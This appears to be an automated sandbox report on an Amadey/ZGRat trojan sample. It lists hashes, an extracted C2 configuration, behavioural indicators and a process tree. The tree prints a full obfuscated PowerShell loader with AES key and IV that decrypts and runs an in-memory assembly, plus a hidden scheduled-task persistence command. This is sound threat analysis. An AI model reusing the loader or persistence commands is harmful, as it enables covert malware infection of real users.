amadey | 1f8867ada4ccbaf5d2d673607a54d043af5702083884050d58bc4349ca6bf9d4

Analysis

max time kernel
300s
max time network
308s
platform
windows10-1703_x64
resource
win10-20240221-en
resource tags

arch:x64arch:x86image:win10-20240221-enlocale:en-usos:windows10-1703-x64system
submitted
25-03-2024 04:50

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1f8867ada4ccbaf5d2d673607a54d043af5702083884050d58bc4349ca6bf9d4.exe
Size

9.2MB
MD5

6ff07f91eec875d0a044c73d4ad89b66
SHA1

7a9fe53800e419a027e899e84da5037f80bcb942
SHA256

1f8867ada4ccbaf5d2d673607a54d043af5702083884050d58bc4349ca6bf9d4
SHA512

8f249f8362aa93696a8c75e46c4ace222198cd52cfec1abe5b5d19e1257e610228d15ff36628cd9ab0a9202b27c6380de48e6aa09605d795b4bdcee42e5c0953
SSDEEP

196608:O+yBLycnfg7zk5nOz9UToMWnYuz1gZgc1nyDWeyHy:ug7zk5n4MWnYuR6gcMDWPS

Score

10^/10

amadey zgrat persistence rat trojan

Malware Config

Extracted

Family

amadey

Version

4.18

http://ruspyc.top

Attributes

install_dir
5027aaabaf
install_file
Dctooux.exe
strings_key
ea32980f4b5f2367967b03fa80659f80
url_paths
/j4Fvskd3/index.php

rc4.plain

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey

Detect ZGRat V1 34 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2068-150-0x0000000006380000-0x00000000065CA000-memory.dmp	family_zgrat_v1
behavioral2/memory/2068-151-0x0000000006380000-0x00000000065C3000-memory.dmp	family_zgrat_v1
behavioral2/memory/2068-152-0x0000000006380000-0x00000000065C3000-memory.dmp	family_zgrat_v1
behavioral2/memory/2068-154-0x0000000006380000-0x00000000065C3000-memory.dmp	family_zgrat_v1
behavioral2/memory/2068-156-0x0000000006380000-0x00000000065C3000-memory.dmp	family_zgrat_v1
behavioral2/memory/2068-158-0x0000000006380000-0x00000000065C3000-memory.dmp	family_zgrat_v1
behavioral2/memory/2068-160-0x0000000006380000-0x00000000065C3000-memory.dmp	family_zgrat_v1
behavioral2/memory/2068-162-0x0000000006380000-0x00000000065C3000-memory.dmp	family_zgrat_v1
behavioral2/memory/2068-164-0x0000000006380000-0x00000000065C3000-memory.dmp	family_zgrat_v1
behavioral2/memory/2068-166-0x0000000006380000-0x00000000065C3000-memory.dmp	family_zgrat_v1
behavioral2/memory/2068-168-0x0000000006380000-0x00000000065C3000-memory.dmp	family_zgrat_v1
behavioral2/memory/2068-170-0x0000000006380000-0x00000000065C3000-memory.dmp	family_zgrat_v1
behavioral2/memory/2068-172-0x0000000006380000-0x00000000065C3000-memory.dmp	family_zgrat_v1
behavioral2/memory/2068-174-0x0000000006380000-0x00000000065C3000-memory.dmp	family_zgrat_v1
behavioral2/memory/2068-176-0x0000000006380000-0x00000000065C3000-memory.dmp	family_zgrat_v1
behavioral2/memory/2068-178-0x0000000006380000-0x00000000065C3000-memory.dmp	family_zgrat_v1
behavioral2/memory/2068-180-0x0000000006380000-0x00000000065C3000-memory.dmp	family_zgrat_v1
behavioral2/memory/2068-182-0x0000000006380000-0x00000000065C3000-memory.dmp	family_zgrat_v1
behavioral2/memory/2068-184-0x0000000006380000-0x00000000065C3000-memory.dmp	family_zgrat_v1
behavioral2/memory/2068-186-0x0000000006380000-0x00000000065C3000-memory.dmp	family_zgrat_v1
behavioral2/memory/2068-188-0x0000000006380000-0x00000000065C3000-memory.dmp	family_zgrat_v1
behavioral2/memory/2068-190-0x0000000006380000-0x00000000065C3000-memory.dmp	family_zgrat_v1
behavioral2/memory/2068-192-0x0000000006380000-0x00000000065C3000-memory.dmp	family_zgrat_v1
behavioral2/memory/2068-194-0x0000000006380000-0x00000000065C3000-memory.dmp	family_zgrat_v1
behavioral2/memory/2068-196-0x0000000006380000-0x00000000065C3000-memory.dmp	family_zgrat_v1
behavioral2/memory/2068-198-0x0000000006380000-0x00000000065C3000-memory.dmp	family_zgrat_v1
behavioral2/memory/2068-200-0x0000000006380000-0x00000000065C3000-memory.dmp	family_zgrat_v1
behavioral2/memory/2068-202-0x0000000006380000-0x00000000065C3000-memory.dmp	family_zgrat_v1
behavioral2/memory/2068-204-0x0000000006380000-0x00000000065C3000-memory.dmp	family_zgrat_v1
behavioral2/memory/2068-206-0x0000000006380000-0x00000000065C3000-memory.dmp	family_zgrat_v1
behavioral2/memory/2068-208-0x0000000006380000-0x00000000065C3000-memory.dmp	family_zgrat_v1
behavioral2/memory/2068-210-0x0000000006380000-0x00000000065C3000-memory.dmp	family_zgrat_v1
behavioral2/memory/2068-212-0x0000000006380000-0x00000000065C3000-memory.dmp	family_zgrat_v1
behavioral2/memory/2068-214-0x0000000006380000-0x00000000065C3000-memory.dmp	family_zgrat_v1

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat
Downloads MZ/PE file
Executes dropped EXE 7 IoCs

Processes:

noicon.exeslava.exeslava.exeslava.execashama.cmd.exeamadey-crypted.exestartup_str_809.bat.exe

pid process

3824 noicon.exe
2068 slava.exe
1652 slava.exe
3588 slava.exe
3296 cashama.cmd.exe
1344 amadey-crypted.exe
4176 startup_str_809.bat.exe

Loads dropped DLL 38 IoCs

Processes:

noicon.exe

pid	process
3824	noicon.exe
3824	noicon.exe
3824	noicon.exe
3824	noicon.exe
3824	noicon.exe
3824	noicon.exe
3824	noicon.exe
3824	noicon.exe
3824	noicon.exe
3824	noicon.exe
3824	noicon.exe
3824	noicon.exe
3824	noicon.exe
3824	noicon.exe
3824	noicon.exe
3824	noicon.exe
3824	noicon.exe
3824	noicon.exe
3824	noicon.exe
3824	noicon.exe
3824	noicon.exe
3824	noicon.exe
3824	noicon.exe
3824	noicon.exe
3824	noicon.exe
3824	noicon.exe
3824	noicon.exe
3824	noicon.exe
3824	noicon.exe
3824	noicon.exe
3824	noicon.exe
3824	noicon.exe
3824	noicon.exe
3824	noicon.exe
3824	noicon.exe
3824	noicon.exe
3824	noicon.exe
3824	noicon.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

slava.exeslava.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1903027113-674645041-2759338396-1000\Software\Microsoft\Windows\CurrentVersion\Run\Xmgejw = "C:\\Users\\Admin\\AppData\\Roaming\\Xmgejw.exe"	slava.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1903027113-674645041-2759338396-1000\Software\Microsoft\Windows\CurrentVersion\Run\amadey-crypted.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000008001\\amadey-crypted.exe"	slava.exe

Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

22 ip-api.com
Suspicious use of SetThreadContext 1 IoCs

Processes:

slava.exe

description pid process target process

PID 2068 set thread context of 3588 2068 slava.exe slava.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies registry class 1 IoCs

Processes:

cashama.cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1903027113-674645041-2759338396-1000_Classes\Local Settings cashama.cmd.exe

flow	ioc
22	ip-api.com

description	pid	process	target process
PID 2068 set thread context of 3588	2068	slava.exe	slava.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1903027113-674645041-2759338396-1000_Classes\Local Settings	cashama.cmd.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

pid	process
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
2068	slava.exe
2068	slava.exe
2804	powershell.exe
2804	powershell.exe
2804	powershell.exe
1564	powershell.exe
1564	powershell.exe
1564	powershell.exe
4912	powershell.exe
4912	powershell.exe
4912	powershell.exe
1348	powershell.exe
1348	powershell.exe
1348	powershell.exe
432	powershell.exe
432	powershell.exe
432	powershell.exe
4600	powershell.exe
4600	powershell.exe
4600	powershell.exe
836	powershell.exe
836	powershell.exe
836	powershell.exe
4432	powershell.exe
4432	powershell.exe
4432	powershell.exe
5096	powershell.exe
5096	powershell.exe
5096	powershell.exe
3380	powershell.exe
3380	powershell.exe
3380	powershell.exe
60	powershell.exe
60	powershell.exe
60	powershell.exe
1520	powershell.exe
1520	powershell.exe
1520	powershell.exe
4108	powershell.exe
4108	powershell.exe
4108	powershell.exe
4956	powershell.exe
4956	powershell.exe
4956	powershell.exe
4704	powershell.exe
4704	powershell.exe
4704	powershell.exe
2060	powershell.exe
2060	powershell.exe
2060	powershell.exe
1816	powershell.exe
1816	powershell.exe
1816	powershell.exe
2208	powershell.exe
2208	powershell.exe
2208	powershell.exe
2400	powershell.exe
2400	powershell.exe
2400	powershell.exe
1424	powershell.exe
1424	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exeslava.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.execashama.cmd.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1652	powershell.exe
Token: SeDebugPrivilege	2068	slava.exe
Token: SeDebugPrivilege	2068	slava.exe
Token: SeDebugPrivilege	2804	powershell.exe
Token: SeDebugPrivilege	1564	powershell.exe
Token: SeDebugPrivilege	4912	powershell.exe
Token: SeDebugPrivilege	1348	powershell.exe
Token: SeDebugPrivilege	432	powershell.exe
Token: SeDebugPrivilege	4600	powershell.exe
Token: SeDebugPrivilege	836	powershell.exe
Token: SeDebugPrivilege	4432	powershell.exe
Token: SeDebugPrivilege	5096	powershell.exe
Token: SeDebugPrivilege	3380	powershell.exe
Token: SeDebugPrivilege	60	powershell.exe
Token: SeDebugPrivilege	1520	powershell.exe
Token: SeDebugPrivilege	4108	powershell.exe
Token: SeDebugPrivilege	4956	powershell.exe
Token: SeDebugPrivilege	4704	powershell.exe
Token: SeDebugPrivilege	2060	powershell.exe
Token: SeDebugPrivilege	1816	powershell.exe
Token: SeDebugPrivilege	2208	powershell.exe
Token: SeDebugPrivilege	2400	powershell.exe
Token: SeDebugPrivilege	1424	powershell.exe
Token: SeDebugPrivilege	4104	powershell.exe
Token: SeDebugPrivilege	1716	powershell.exe
Token: SeDebugPrivilege	1724	powershell.exe
Token: SeDebugPrivilege	5036	powershell.exe
Token: SeDebugPrivilege	1448	powershell.exe
Token: SeDebugPrivilege	4424	powershell.exe
Token: SeDebugPrivilege	4500	powershell.exe
Token: SeDebugPrivilege	428	powershell.exe
Token: SeDebugPrivilege	1508	powershell.exe
Token: SeDebugPrivilege	616	powershell.exe
Token: SeDebugPrivilege	4452	powershell.exe
Token: SeDebugPrivilege	5044	powershell.exe
Token: SeDebugPrivilege	2348	powershell.exe
Token: SeDebugPrivilege	1260	powershell.exe
Token: SeDebugPrivilege	4204	powershell.exe
Token: SeDebugPrivilege	4372	powershell.exe
Token: SeDebugPrivilege	4912	powershell.exe
Token: SeDebugPrivilege	1936	powershell.exe
Token: SeDebugPrivilege	4704	powershell.exe
Token: SeDebugPrivilege	4256	powershell.exe
Token: SeDebugPrivilege	3296	cashama.cmd.exe
Token: SeDebugPrivilege	2860	powershell.exe
Token: SeDebugPrivilege	2936	powershell.exe
Token: SeDebugPrivilege	848	powershell.exe
Token: SeDebugPrivilege	4912	powershell.exe
Token: SeDebugPrivilege	3208	powershell.exe
Token: SeDebugPrivilege	2768	powershell.exe
Token: SeDebugPrivilege	4776	powershell.exe
Token: SeDebugPrivilege	2932	powershell.exe
Token: SeDebugPrivilege	4532	powershell.exe
Token: SeDebugPrivilege	1044	powershell.exe
Token: SeDebugPrivilege	1512	powershell.exe
Token: SeIncreaseQuotaPrivilege	3208	powershell.exe
Token: SeSecurityPrivilege	3208	powershell.exe
Token: SeTakeOwnershipPrivilege	3208	powershell.exe
Token: SeLoadDriverPrivilege	3208	powershell.exe
Token: SeSystemProfilePrivilege	3208	powershell.exe
Token: SeSystemtimePrivilege	3208	powershell.exe
Token: SeProfSingleProcessPrivilege	3208	powershell.exe
Token: SeIncBasePriorityPrivilege	3208	powershell.exe
Token: SeCreatePagefilePrivilege	3208	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

1f8867ada4ccbaf5d2d673607a54d043af5702083884050d58bc4349ca6bf9d4.exenoicon.execmd.exeslava.exe

description	pid	process	target process
PID 3360 wrote to memory of 3824	3360	1f8867ada4ccbaf5d2d673607a54d043af5702083884050d58bc4349ca6bf9d4.exe	noicon.exe
PID 3360 wrote to memory of 3824	3360	1f8867ada4ccbaf5d2d673607a54d043af5702083884050d58bc4349ca6bf9d4.exe	noicon.exe
PID 3824 wrote to memory of 1652	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 1652	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 4384	3824	noicon.exe	cmd.exe
PID 3824 wrote to memory of 4384	3824	noicon.exe	cmd.exe
PID 4384 wrote to memory of 2068	4384	cmd.exe	slava.exe
PID 4384 wrote to memory of 2068	4384	cmd.exe	slava.exe
PID 4384 wrote to memory of 2068	4384	cmd.exe	slava.exe
PID 2068 wrote to memory of 1652	2068	slava.exe	slava.exe
PID 2068 wrote to memory of 1652	2068	slava.exe	slava.exe
PID 2068 wrote to memory of 1652	2068	slava.exe	slava.exe
PID 2068 wrote to memory of 3588	2068	slava.exe	slava.exe
PID 2068 wrote to memory of 3588	2068	slava.exe	slava.exe
PID 2068 wrote to memory of 3588	2068	slava.exe	slava.exe
PID 2068 wrote to memory of 3588	2068	slava.exe	slava.exe
PID 2068 wrote to memory of 3588	2068	slava.exe	slava.exe
PID 2068 wrote to memory of 3588	2068	slava.exe	slava.exe
PID 2068 wrote to memory of 3588	2068	slava.exe	slava.exe
PID 2068 wrote to memory of 3588	2068	slava.exe	slava.exe
PID 2068 wrote to memory of 3588	2068	slava.exe	slava.exe
PID 2068 wrote to memory of 3588	2068	slava.exe	slava.exe
PID 3824 wrote to memory of 2804	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 2804	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 1564	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 1564	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 4912	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 4912	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 1348	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 1348	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 432	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 432	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 4600	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 4600	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 836	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 836	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 4432	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 4432	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 5096	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 5096	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 3380	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 3380	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 60	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 60	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 1520	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 1520	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 4108	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 4108	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 4956	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 4956	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 4704	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 4704	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 2060	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 2060	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 1816	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 1816	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 2208	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 2208	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 2400	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 2400	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 1424	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 1424	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 4104	3824	noicon.exe	powershell.exe
PID 3824 wrote to memory of 4104	3824	noicon.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\1f8867ada4ccbaf5d2d673607a54d043af5702083884050d58bc4349ca6bf9d4.exe
"C:\Users\Admin\AppData\Local\Temp\1f8867ada4ccbaf5d2d673607a54d043af5702083884050d58bc4349ca6bf9d4.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3360
- C:\Users\Admin\AppData\Local\Temp\onefile_3360_133558158238875015\noicon.exe
  "C:\Users\Admin\AppData\Local\Temp\1f8867ada4ccbaf5d2d673607a54d043af5702083884050d58bc4349ca6bf9d4.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:3824
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -c "Get-WmiObject -Query \"Select * from Win32_CacheMemory\""
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1652
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Users\Admin\slava.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4384
  - - C:\Users\Admin\slava.exe
      C:\Users\Admin\slava.exe
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2068
    - - C:\Users\Admin\slava.exe
        
        C:\Users\Admin\slava.exe
        5⤵
        Executes dropped EXE
        
        PID:1652
    - - C:\Users\Admin\slava.exe
        
        C:\Users\Admin\slava.exe
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:3588
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\1000007021\cashama.cmd" "
        6⤵
        
        PID:964
        
        C:\Users\Admin\AppData\Local\Temp\1000007021\cashama.cmd.exe
        
        "cashama.cmd.exe" -noprofile -windowstyle hidden -ep bypass -command $_CASH_OyIdy = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\1000007021\cashama.cmd').Split([Environment]::NewLine);foreach ($_CASH_KSFbF in $_CASH_OyIdy) { if ($_CASH_KSFbF.StartsWith(':: @')) { $_CASH_foywU = $_CASH_KSFbF.Substring(4); break; }; };$_CASH_foywU = [System.Text.RegularExpressions.Regex]::Replace($_CASH_foywU, '_CASH_', '');$_CASH_RcTcR = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_CASH_foywU);$_CASH_IeHgd = New-Object System.Security.Cryptography.AesManaged;$_CASH_IeHgd.Mode = [System.Security.Cryptography.CipherMode]::CBC;$_CASH_IeHgd.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$_CASH_IeHgd.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+J2K9rNb+MjYOqQHpER9oppvyUqXZGWkyHClJaEUYlo=');$_CASH_IeHgd.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VFWmTRBmmHG52jswRKgbLQ==');$_CASH_YEPZB = $_CASH_IeHgd.CreateDecryptor();$_CASH_RcTcR = $_CASH_YEPZB.TransformFinalBlock($_CASH_RcTcR, 0, $_CASH_RcTcR.Length);$_CASH_YEPZB.Dispose();$_CASH_IeHgd.Dispose();$_CASH_mDKOv = New-Object System.IO.MemoryStream(, $_CASH_RcTcR);$_CASH_UUDKT = New-Object System.IO.MemoryStream;$_CASH_rRVBm = New-Object System.IO.Compression.GZipStream($_CASH_mDKOv, [IO.Compression.CompressionMode]::Decompress);$_CASH_rRVBm.CopyTo($_CASH_UUDKT);$_CASH_rRVBm.Dispose();$_CASH_mDKOv.Dispose();$_CASH_UUDKT.Dispose();$_CASH_RcTcR = $_CASH_UUDKT.ToArray();$_CASH_ENrFI = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($_CASH_RcTcR);$_CASH_kUTIj = $_CASH_ENrFI.EntryPoint;$_CASH_kUTIj.Invoke($null, (, [string[]] ('')))
        7⤵
        Executes dropped EXE
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        
        PID:3296
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\1000007021\cashama')
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3208
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_809_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_809.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        8⤵
        
        PID:5116
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_809.vbs"
        8⤵
        
        PID:1984
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_809.bat" "
        9⤵
        
        PID:3292
        
        C:\Users\Admin\AppData\Roaming\startup_str_809.bat.exe
        
        "startup_str_809.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $_CASH_OyIdy = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_809.bat').Split([Environment]::NewLine);foreach ($_CASH_KSFbF in $_CASH_OyIdy) { if ($_CASH_KSFbF.StartsWith(':: @')) { $_CASH_foywU = $_CASH_KSFbF.Substring(4); break; }; };$_CASH_foywU = [System.Text.RegularExpressions.Regex]::Replace($_CASH_foywU, '_CASH_', '');$_CASH_RcTcR = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_CASH_foywU);$_CASH_IeHgd = New-Object System.Security.Cryptography.AesManaged;$_CASH_IeHgd.Mode = [System.Security.Cryptography.CipherMode]::CBC;$_CASH_IeHgd.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$_CASH_IeHgd.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+J2K9rNb+MjYOqQHpER9oppvyUqXZGWkyHClJaEUYlo=');$_CASH_IeHgd.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VFWmTRBmmHG52jswRKgbLQ==');$_CASH_YEPZB = $_CASH_IeHgd.CreateDecryptor();$_CASH_RcTcR = $_CASH_YEPZB.TransformFinalBlock($_CASH_RcTcR, 0, $_CASH_RcTcR.Length);$_CASH_YEPZB.Dispose();$_CASH_IeHgd.Dispose();$_CASH_mDKOv = New-Object System.IO.MemoryStream(, $_CASH_RcTcR);$_CASH_UUDKT = New-Object System.IO.MemoryStream;$_CASH_rRVBm = New-Object System.IO.Compression.GZipStream($_CASH_mDKOv, [IO.Compression.CompressionMode]::Decompress);$_CASH_rRVBm.CopyTo($_CASH_UUDKT);$_CASH_rRVBm.Dispose();$_CASH_mDKOv.Dispose();$_CASH_UUDKT.Dispose();$_CASH_RcTcR = $_CASH_UUDKT.ToArray();$_CASH_ENrFI = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($_CASH_RcTcR);$_CASH_kUTIj = $_CASH_ENrFI.EntryPoint;$_CASH_kUTIj.Invoke($null, (, [string[]] ('')))
        10⤵
        Executes dropped EXE
        
        PID:4176
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Roaming\startup_str_809')
        11⤵
        
        PID:2404
      - C:\Users\Admin\AppData\Local\Temp\1000008001\amadey-crypted.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000008001\amadey-crypted.exe"
        6⤵
        Executes dropped EXE
        
        PID:1344
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2804
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1564
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4912
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1348
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:432
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4600
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:836
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4432
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5096
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3380
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:60
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1520
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4108
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4956
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4704
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2060
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1816
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2208
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2400
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1424
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4104
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
